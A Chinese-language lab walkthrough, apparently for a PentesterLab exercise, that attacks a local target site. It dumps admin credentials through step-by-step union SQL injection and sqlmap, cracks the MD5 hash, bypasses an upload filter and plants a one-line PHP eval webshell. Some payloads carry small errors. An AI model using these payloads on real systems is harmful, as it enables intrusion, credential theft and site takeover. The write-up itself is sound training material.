本題要求:通過sql注入,找到數據庫中的賬號密碼,并成功登錄。登錄后利用文件上傳,將一句話木馬上傳到數據庫中,然后并對網站進行控制。
解題過程
1、通過在靶機中輸入ifconfig,查到ip為192.168.80.153,在網站上輸入ip,便會出現下面的頁面
2、我們事先知道,這是道關于SQL注入的題。所以這時候我們就有兩種辦法來進行解題。
(1)、第一種就是在URL界面進行手注,然后發現成功報錯,說明可行。
(2)、發現報錯后,就嘗試尋找它的列數有多少,這時候就需要order by 來進行了。
通過192.168.80.152/cat.php?id=1 order by 4 --+發現它的列數剛好為4。
(3)、找到列數,通過192.168.80.153/cat.php?id=-1 union select 1,2,3,4 --+ 查找回顯點。發現2存在回顯點。
(4)、查詢庫名、用戶名
192.168.80.153/cat.php?id=-1 union select 1,database(),3,4 --+ ====> 查詢庫名
發現庫名為photoblog
192.168.80.153/cat.php?id=-1 union select 1,user(),3,4 --+ ====> 查詢用戶名
發現用戶名為pentesterlab@localhost
(5)、查詢表名
192.168.80.153/cat.php?id=-1 union select 1,group_concat(table_name),3,4 from infomation_schema.tables where table_schema='photoblog' --+
發現查詢到的表名有categories,pictures,users。我們的目標是找到賬號和密碼, 所以我們可以先從users來查。
(6)、查詢列名
192.168.80.153/cat.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='photoblog' and table_name='users' --+)
發現查詢的列名有id,login,password。發現有login和password,我們就可以查看其中的內容了。
(7)、查詢字段值
192.168.80.153/cat.php?id=-1 union select 1,group_concat(login,password),3,4 from users--+)
發現login為admin,password為8efe310f9ab3efeae8d410a8e0166eb2。通過觀察發現,password是經過加密的,而且是經過md5加密,這時候我們就可以使用md5的工具來解密。
md5在線解密破解,md5解密加密 (cmd5.com)
解出來的密碼是P4ssw0rd。
除去這種辦法,還有一種辦法是利用SQLmap。這種辦法就較為便捷迅速了。
sqlmap -u 192.168.80.153 -D photoblog --dump --batch --crawl=2
這串指令 可以讓數據庫的內容全部顯現出來,前提是知道數據庫的名稱
sqlmap -u 192.168.80.153 --dbs --dump --batch --crawl=2
這可以查詢數據庫名稱。
3、找到賬號密碼,在admin界面進行登錄
4、在這個界面,我們發現直接插入php文件是無法成功的,這時候我們就可以嘗試上傳php的畸形后綴文件。例如Php、php3等等。
這里,我們使用的是Php(進行代碼編寫的時候,記得關閉電腦的安全軟件,不然容易被當做病毒殺掉。)
創建一個Php文件,里面輸入一句話木馬
<?php @eval($_REQUEST('x'));?>
5、發現上傳成功,就可以使用第三方嘗試連接,或者利用hackbar來進行測試(連接和測試的地址都是其注入的地址)
http://192.168.80.153/admin/uploads/123.Php
如果一句話木馬測試后不起作用,可以將代碼改成<?php phpinfo();?>
成功訪問到phpinfo界面 就代表著成功了。